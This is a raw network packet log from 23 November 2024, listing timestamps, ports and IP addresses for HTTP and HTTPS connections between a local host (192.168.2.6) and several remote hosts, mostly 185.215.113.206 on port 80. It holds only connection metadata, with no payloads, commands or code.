Nov 23, 2024 09:16:55.752559900 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.752589941 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.752676010 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.753098011 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.753168106 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.753170967 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.753212929 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.754193068 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.754245043 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.754316092 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.755294085 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.755378008 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.755409002 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.755565882 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.756396055 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.756449938 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.757515907 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.757566929 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.758023024 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.758035898 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.758097887 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.758702040 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.758810043 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.758872032 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.758917093 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.759746075 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.759792089 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.759865046 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.759908915 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.760917902 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.760991096 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.761034012 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.761142015 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.762006998 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.762052059 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.762137890 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.762180090 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.763027906 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.763073921 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.763190985 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.763232946 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.764137030 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.764215946 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.764228106 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.764337063 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.765211105 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.765351057 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.765424967 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.766314030 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.766360998 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.766444921 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.766489983 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.767463923 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.767580032 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.767646074 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.768591881 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.768707037 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.768757105 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.769640923 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.769702911 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.769768953 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.770729065 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.770785093 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.770824909 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.770929098 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.771828890 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.771887064 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.771922112 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.772037983 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.772957087 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.773006916 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.773061991 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.773212910 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.774039984 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.774091959 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.774100065 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.774215937 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.786524057 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:55.787297010 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:55.787324905 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:55.787851095 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:55.787856102 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:55.800525904 CET	443	49885	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:55.801687956 CET	49885	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:55.801722050 CET	443	49885	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:55.802228928 CET	443	49885	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:55.802607059 CET	49885	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:55.802715063 CET	443	49885	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:55.810555935 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.810584068 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.810643911 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.810653925 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.810683012 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.810702085 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.816451073 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.816478968 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.816535950 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.816544056 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.816576958 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.816595078 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.822844982 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.822869062 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.822904110 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.822910070 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.822961092 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.827575922 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.827593088 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.827670097 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.827677965 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.827718973 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.833352089 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.833368063 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.833429098 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.833436012 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.833482027 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.838970900 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.838989973 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.839046955 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.839054108 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.839123964 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.844079971 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.844819069 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.844841003 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.844887018 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.844894886 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.844938040 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.844943047 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.845690012 CET	443	49886	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:55.846438885 CET	49886	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:55.846461058 CET	443	49886	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:55.846815109 CET	443	49886	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:55.847261906 CET	49886	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:55.847342968 CET	443	49886	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:55.851986885 CET	49885	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:55.865026951 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.865058899 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.865118027 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.865124941 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.865180016 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.894131899 CET	49886	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:55.964766026 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.981230021 CET	443	49881	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:55.981813908 CET	49881	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:55.981853008 CET	443	49881	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:55.982320070 CET	49881	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:55.982326984 CET	443	49881	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.021145105 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.021187067 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.021225929 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.021239042 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.021281004 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.021306992 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.026854038 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.026870966 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.026935101 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.026947975 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.026997089 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.030522108 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.030567884 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.030589104 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.030596018 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.030637980 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.036154032 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.036170959 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.036215067 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.036221027 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.036259890 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.036264896 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.042085886 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.042109013 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.042154074 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.042164087 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.042193890 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.047626019 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.047658920 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.047710896 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.047718048 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.047748089 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.052782059 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.052812099 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.052845955 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.052854061 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.052890062 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.073236942 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.073261023 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.073309898 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.073319912 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.073355913 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.105631113 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.106239080 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.106272936 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.106842995 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.106858015 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.112850904 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.129071951 CET	443	49882	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.130933046 CET	49882	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.130948067 CET	443	49882	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.131634951 CET	49882	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.131639004 CET	443	49882	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.142829895 CET	443	49883	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.145239115 CET	49883	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.145272017 CET	443	49883	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.146644115 CET	49883	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.146650076 CET	443	49883	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.229309082 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.229388952 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.229512930 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.229686022 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.229710102 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.229724884 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.229729891 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.230429888 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.230448961 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.230530977 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.230546951 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.230596066 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.234227896 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.234280109 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.234344959 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.234534979 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.234549046 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.235802889 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.235819101 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.235887051 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.235896111 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.235935926 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.240998983 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.241017103 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.241074085 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.241081953 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.241123915 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.246815920 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.246833086 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.246891975 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.246901035 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.246939898 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.252742052 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.252758980 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.252810955 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.252819061 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.252857924 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.258213043 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.258230925 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.258304119 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.258310080 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.258349895 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.264175892 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.264199972 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.264247894 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.264261007 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.264286041 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.264312983 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.283628941 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.283653021 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.283689022 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.283699036 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.283730984 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.283740044 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.295356035 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.295419931 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.295432091 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.295475006 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.295855045 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.295905113 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.295968056 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.296021938 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.297275066 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.297287941 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.297329903 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.297885895 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.297946930 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.298005104 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.298048019 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.298893929 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.299009085 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.299050093 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.299093008 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.300024986 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.300115108 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.300123930 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.300148964 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.301093102 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.301156998 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.301207066 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.301248074 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.302202940 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.302252054 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.302299023 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.302345037 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.303294897 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.303344965 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.303401947 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.303448915 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.304445982 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.304501057 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.304531097 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.304568052 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.305516958 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.305560112 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.305618048 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.305747986 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.306699038 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.306742907 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.306776047 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.306869984 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.307723999 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.307768106 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.307833910 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.307873964 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.308859110 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.308902979 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.308964968 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.309006929 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.309936047 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.309994936 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.310056925 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.310198069 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.311045885 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.311088085 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.311094999 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.311125994 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.312131882 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.312242031 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.312289000 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.313234091 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.313276052 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.313342094 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.313467979 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.314332008 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.314373016 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.314470053 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.314510107 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.315434933 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.315479994 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.315551043 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.315617085 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.316550970 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.316615105 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.316656113 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.316914082 CET	49816	80	192.168.2.6	185.215.113.206
